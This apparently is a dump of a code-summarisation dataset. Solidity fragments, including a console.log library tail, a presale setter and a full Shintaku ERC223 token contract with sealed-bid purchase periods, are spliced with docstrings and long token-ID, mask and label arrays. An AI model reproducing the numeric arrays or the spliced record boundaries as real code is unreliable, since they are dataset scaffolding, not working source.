_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
|
* @dev Set Presale maximum amount of mints/
|
function setPresaleMintMax(uint256 amount) public onlyOwner {
presaleMintMax = amount;
}
| 13,708,004 |
[
1,
694,
18346,
5349,
4207,
3844,
434,
312,
28142,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
444,
12236,
5349,
49,
474,
2747,
12,
11890,
5034,
3844,
13,
1071,
1338,
5541,
288,
203,
3639,
4075,
5349,
49,
474,
2747,
273,
3844,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
// File: contracts/libs/ERC223Receiver_Interface.sol
/**
* @title ERC223-compliant contract interface.
*/
contract ERC223Receiver {
constructor() internal {}
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public;
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/libs/ERC223Token.sol
/**
* @title Implementation of the ERC223 standard token.
* @dev See https://github.com/Dexaran/ERC223-token-standard
*/
contract ERC223Token is StandardToken {
using SafeMath for uint;
event Transfer(address indexed from, address indexed to, uint value, bytes data);
modifier enoughBalance(uint _value) {
require (_value <= balanceOf(msg.sender));
_;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
* @return Success.
*/
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_to != address(0));
return isContract(_to) ?
transferToContract(_to, _value, _data) :
transferToAddress(_to, _value, _data)
;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* This function works the same with the previous one
* but doesn't contain `_data` param.
* Added due to backwards compatibility reasons.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @return Success.
*/
function transfer(address _to, uint _value) public returns (bool success) {
bytes memory empty;
return transfer(_to, _value, empty);
}
/**
* @dev Assemble the given address bytecode. If bytecode exists then the _addr is a contract.
* @return If the target is a contract.
*/
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// Retrieve the size of the code on target address; this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
/**
* @dev Helper function that transfers to address.
* @return Success.
*/
function transferToAddress(address _to, uint _value, bytes _data) private enoughBalance(_value) returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balanceOf(_to).add(_value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
/**
* @dev Helper function that transfers to contract.
* @return Success.
*/
function transferToContract(address _to, uint _value, bytes _data) private enoughBalance(_value) returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balanceOf(_to).add(_value);
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardBurnableToken.sol
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken, StandardToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
// File: contracts/libs/BaseToken.sol
/**
* @title Base token contract for oracle.
*/
contract BaseToken is ERC223Token, StandardBurnableToken {
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/ShintakuToken.sol
/**
* @title Shintaku token contract
* @dev Burnable ERC223 token with set emission curve.
*/
contract ShintakuToken is BaseToken, Ownable {
using SafeMath for uint;
string public constant symbol = "SHN";
string public constant name = "Shintaku";
uint8 public constant demicals = 18;
// Unit of tokens
uint public constant TOKEN_UNIT = (10 ** uint(demicals));
// Parameters
// Number of blocks for each period (100000 = ~2-3 weeks)
uint public PERIOD_BLOCKS;
// Number of blocks to lock owner balance (50x = ~2 years)
uint public OWNER_LOCK_BLOCKS;
// Number of blocks to lock user remaining balances (25x = ~1 year)
uint public USER_LOCK_BLOCKS;
// Number of tokens per period during tail emission
uint public constant TAIL_EMISSION = 400 * (10 ** 3) * TOKEN_UNIT;
// Number of tokens to emit initially: tail emission is 4% of this
uint public constant INITIAL_EMISSION_FACTOR = 25;
// Absolute cap on funds received per period
// Note: this should be obscenely large to prevent larger ether holders
// from monopolizing tokens at low cost. This cap should never be hit in
// practice.
uint public constant MAX_RECEIVED_PER_PERIOD = 10000 ether;
/**
* @dev Store relevant data for a period.
*/
struct Period {
// Block this period has started at
uint started;
// Total funds received this period
uint totalReceived;
// Locked owner balance, will unlock after a long time
uint ownerLockedBalance;
// Number of tokens to mint this period
uint minting;
// Sealed purchases for each account
mapping (address => bytes32) sealedPurchaseOrders;
// Balance received from each account
mapping (address => uint) receivedBalances;
// Locked balance for each account
mapping (address => uint) lockedBalances;
// When withdrawing, withdraw to an alias address (e.g. cold storage)
mapping (address => address) aliases;
}
// Modifiers
modifier validPeriod(uint _period) {
require(_period <= currentPeriodIndex());
_;
}
// Contract state
// List of periods
Period[] internal periods;
// Address the owner can withdraw funds to (e.g. cold storage)
address public ownerAlias;
// Events
event NextPeriod(uint indexed _period, uint indexed _block);
event SealedOrderPlaced(address indexed _from, uint indexed _period, uint _value);
event SealedOrderRevealed(address indexed _from, uint indexed _period, address indexed _alias, uint _value);
event OpenOrderPlaced(address indexed _from, uint indexed _period, address indexed _alias, uint _value);
event Claimed(address indexed _from, uint indexed _period, address indexed _alias, uint _value);
// Functions
constructor(address _alias, uint _periodBlocks, uint _ownerLockFactor, uint _userLockFactor) public {
require(_alias != address(0));
require(_periodBlocks >= 2);
require(_ownerLockFactor > 0);
require(_userLockFactor > 0);
periods.push(Period(block.number, 0, 0, calculateMinting(0)));
ownerAlias = _alias;
PERIOD_BLOCKS = _periodBlocks;
OWNER_LOCK_BLOCKS = _periodBlocks.mul(_ownerLockFactor);
USER_LOCK_BLOCKS = _periodBlocks.mul(_userLockFactor);
}
/**
* @dev Go to the next period, if sufficient time has passed.
*/
function nextPeriod() public {
uint periodIndex = currentPeriodIndex();
uint periodIndexNext = periodIndex.add(1);
require(block.number.sub(periods[periodIndex].started) > PERIOD_BLOCKS);
periods.push(Period(block.number, 0, 0, calculateMinting(periodIndexNext)));
emit NextPeriod(periodIndexNext, block.number);
}
/**
* @dev Creates a sealed purchase order.
* @param _from Account that will purchase tokens.
* @param _period Period of purchase order.
* @param _value Purchase funds, in wei.
* @param _salt Random value to keep purchase secret.
* @return The sealed purchase order.
*/
function createPurchaseOrder(address _from, uint _period, uint _value, bytes32 _salt) public pure returns (bytes32) {
return keccak256(abi.encodePacked(_from, _period, _value, _salt));
}
/**
* @dev Submit a sealed purchase order. Wei sent can be different then sealed value.
* @param _sealedPurchaseOrder The sealed purchase order.
*/
function placePurchaseOrder(bytes32 _sealedPurchaseOrder) public payable {
if (block.number.sub(periods[currentPeriodIndex()].started) > PERIOD_BLOCKS) {
nextPeriod();
}
// Note: current period index may update from above call
Period storage period = periods[currentPeriodIndex()];
// Each address can only make a single purchase per period
require(period.sealedPurchaseOrders[msg.sender] == bytes32(0));
period.sealedPurchaseOrders[msg.sender] = _sealedPurchaseOrder;
period.receivedBalances[msg.sender] = msg.value;
emit SealedOrderPlaced(msg.sender, currentPeriodIndex(), msg.value);
}
/**
* @dev Reveal a sealed purchase order and commit to a purchase.
* @param _sealedPurchaseOrder The sealed purchase order.
* @param _period Period of purchase order.
* @param _value Purchase funds, in wei.
* @param _period Period for which to reveal purchase order.
* @param _salt Random value to keep purchase secret.
* @param _alias Address to withdraw tokens and excess funds to.
*/
function revealPurchaseOrder(bytes32 _sealedPurchaseOrder, uint _period, uint _value, bytes32 _salt, address _alias) public {
// Sanity check to make sure user enters an alias
require(_alias != address(0));
// Can only reveal sealed orders in the next period
require(currentPeriodIndex() == _period.add(1));
Period storage period = periods[_period];
// Each address can only make a single purchase per period
require(period.aliases[msg.sender] == address(0));
// Note: don't *need* to advance period here
bytes32 h = createPurchaseOrder(msg.sender, _period, _value, _salt);
require(h == _sealedPurchaseOrder);
// The value revealed must not be greater than the value previously sent
require(_value <= period.receivedBalances[msg.sender]);
period.totalReceived = period.totalReceived.add(_value);
uint remainder = period.receivedBalances[msg.sender].sub(_value);
period.receivedBalances[msg.sender] = _value;
period.aliases[msg.sender] = _alias;
emit SealedOrderRevealed(msg.sender, _period, _alias, _value);
// Return any extra balance to the alias
_alias.transfer(remainder);
}
/**
* @dev Place an unsealed purchase order immediately.
* @param _alias Address to withdraw tokens to.
*/
function placeOpenPurchaseOrder(address _alias) public payable {
// Sanity check to make sure user enters an alias
require(_alias != address(0));
if (block.number.sub(periods[currentPeriodIndex()].started) > PERIOD_BLOCKS) {
nextPeriod();
}
// Note: current period index may update from above call
Period storage period = periods[currentPeriodIndex()];
// Each address can only make a single purchase per period
require(period.aliases[msg.sender] == address(0));
period.totalReceived = period.totalReceived.add(msg.value);
period.receivedBalances[msg.sender] = msg.value;
period.aliases[msg.sender] = _alias;
emit OpenOrderPlaced(msg.sender, currentPeriodIndex(), _alias, msg.value);
}
/**
* @dev Claim previously purchased tokens for an account.
* @param _from Account to claim tokens for.
* @param _period Period for which to claim tokens.
*/
function claim(address _from, uint _period) public {
// Claiming can only be done at least two periods after submitting sealed purchase order
require(currentPeriodIndex() > _period.add(1));
Period storage period = periods[_period];
require(period.receivedBalances[_from] > 0);
uint value = period.receivedBalances[_from];
delete period.receivedBalances[_from];
(uint emission, uint spent) = calculateEmission(_period, value);
uint remainder = value.sub(spent);
address alias = period.aliases[_from];
// Mint tokens based on spent funds
mint(alias, emission);
// Lock up remaining funds for account
period.lockedBalances[_from] = period.lockedBalances[_from].add(remainder);
// Lock up spent funds for owner
period.ownerLockedBalance = period.ownerLockedBalance.add(spent);
emit Claimed(_from, _period, alias, emission);
}
/*
* @dev Users can withdraw locked balances after the lock time has expired, for an account.
* @param _from Account to withdraw balance for.
* @param _period Period to withdraw funds for.
*/
function withdraw(address _from, uint _period) public {
require(currentPeriodIndex() > _period);
Period storage period = periods[_period];
require(block.number.sub(period.started) > USER_LOCK_BLOCKS);
uint balance = period.lockedBalances[_from];
require(balance <= address(this).balance);
delete period.lockedBalances[_from];
address alias = period.aliases[_from];
// Don't delete this, as a user may have unclaimed tokens
//delete period.aliases[_from];
alias.transfer(balance);
}
/**
* @dev Contract owner can withdraw unlocked owner funds.
* @param _period Period to withdraw funds for.
*/
function withdrawOwner(uint _period) public onlyOwner {
require(currentPeriodIndex() > _period);
Period storage period = periods[_period];
require(block.number.sub(period.started) > OWNER_LOCK_BLOCKS);
uint balance = period.ownerLockedBalance;
require(balance <= address(this).balance);
delete period.ownerLockedBalance;
ownerAlias.transfer(balance);
}
/**
* @dev The owner can withdraw any unrevealed balances after the deadline.
* @param _period Period to withdraw funds for.
* @param _from Account to withdraw unrevealed funds against.
*/
function withdrawOwnerUnrevealed(uint _period, address _from) public onlyOwner {
// Must be past the reveal deadline of one period
require(currentPeriodIndex() > _period.add(1));
Period storage period = periods[_period];
require(block.number.sub(period.started) > OWNER_LOCK_BLOCKS);
uint balance = period.receivedBalances[_from];
require(balance <= address(this).balance);
delete period.receivedBalances[_from];
ownerAlias.transfer(balance);
}
/**
* @dev Calculate the number of tokens to mint during a period.
* @param _period The period.
* @return Number of tokens to mint.
*/
function calculateMinting(uint _period) internal pure returns (uint) {
// Every period, decrease emission by 5% of initial, until tail emission
return
_period < INITIAL_EMISSION_FACTOR ?
TAIL_EMISSION.mul(INITIAL_EMISSION_FACTOR.sub(_period)) :
TAIL_EMISSION
;
}
/**
* @dev Helper function to get current period index.
* @return The array index of the current period.
*/
function currentPeriodIndex() public view returns (uint) {
assert(periods.length > 0);
return periods.length.sub(1);
}
/**
* @dev Calculate token emission.
* @param _period Period for which to calculate emission.
* @param _value Amount paid. Emissions is proportional to this.
* @return Number of tokens to emit.
* @return The spent balance.
*/
function calculateEmission(uint _period, uint _value) internal view returns (uint, uint) {
Period storage currentPeriod = periods[_period];
uint minting = currentPeriod.minting;
uint totalReceived = currentPeriod.totalReceived;
uint scaledValue = _value;
if (totalReceived > MAX_RECEIVED_PER_PERIOD) {
// If the funds received this period exceed the maximum, scale
// emission to refund remaining
scaledValue = _value.mul(MAX_RECEIVED_PER_PERIOD).div(totalReceived);
}
uint emission = scaledValue.mul(minting).div(MAX_RECEIVED_PER_PERIOD);
return (emission, scaledValue);
}
/**
* @dev Mints new tokens.
* @param _account Account that will receive new tokens.
* @param _value Number of tokens to mint.
*/
function mint(address _account, uint _value) internal {
balances[_account] = balances[_account].add(_value);
totalSupply_ = totalSupply_.add(_value);
}
// Getters
function getPeriodStarted(uint _period) public view validPeriod(_period) returns (uint) {
return periods[_period].started;
}
function getPeriodTotalReceived(uint _period) public view validPeriod(_period) returns (uint) {
return periods[_period].totalReceived;
}
function getPeriodOwnerLockedBalance(uint _period) public view validPeriod(_period) returns (uint) {
return periods[_period].ownerLockedBalance;
}
function getPeriodMinting(uint _period) public view validPeriod(_period) returns (uint) {
return periods[_period].minting;
}
function getPeriodSealedPurchaseOrderFor(uint _period, address _account) public view validPeriod(_period) returns (bytes32) {
return periods[_period].sealedPurchaseOrders[_account];
}
function getPeriodReceivedBalanceFor(uint _period, address _account) public view validPeriod(_period) returns (uint) {
return periods[_period].receivedBalances[_account];
}
function getPeriodLockedBalanceFor(uint _period, address _account) public view validPeriod(_period) returns (uint) {
return periods[_period].lockedBalances[_account];
}
function getPeriodAliasFor(uint _period, address _account) public view validPeriod(_period) returns (address) {
return periods[_period].aliases[_account];
}
}
|
* @dev Reveal a sealed purchase order and commit to a purchase. @param _sealedPurchaseOrder The sealed purchase order. @param _period Period of purchase order. @param _value Purchase funds, in wei. @param _period Period for which to reveal purchase order. @param _salt Random value to keep purchase secret. @param _alias Address to withdraw tokens and excess funds to./ Sanity check to make sure user enters an alias Can only reveal sealed orders in the next period Each address can only make a single purchase per period Note: don't *need* to advance period here The value revealed must not be greater than the value previously sent Return any extra balance to the alias
|
function revealPurchaseOrder(bytes32 _sealedPurchaseOrder, uint _period, uint _value, bytes32 _salt, address _alias) public {
require(_alias != address(0));
require(currentPeriodIndex() == _period.add(1));
Period storage period = periods[_period];
require(period.aliases[msg.sender] == address(0));
bytes32 h = createPurchaseOrder(msg.sender, _period, _value, _salt);
require(h == _sealedPurchaseOrder);
require(_value <= period.receivedBalances[msg.sender]);
period.totalReceived = period.totalReceived.add(_value);
uint remainder = period.receivedBalances[msg.sender].sub(_value);
period.receivedBalances[msg.sender] = _value;
period.aliases[msg.sender] = _alias;
emit SealedOrderRevealed(msg.sender, _period, _alias, _value);
_alias.transfer(remainder);
}
| 6,420,993 |
[
1,
426,
24293,
279,
695,
18931,
23701,
1353,
471,
3294,
358,
279,
23701,
18,
225,
389,
307,
18931,
23164,
2448,
1021,
695,
18931,
23701,
1353,
18,
225,
389,
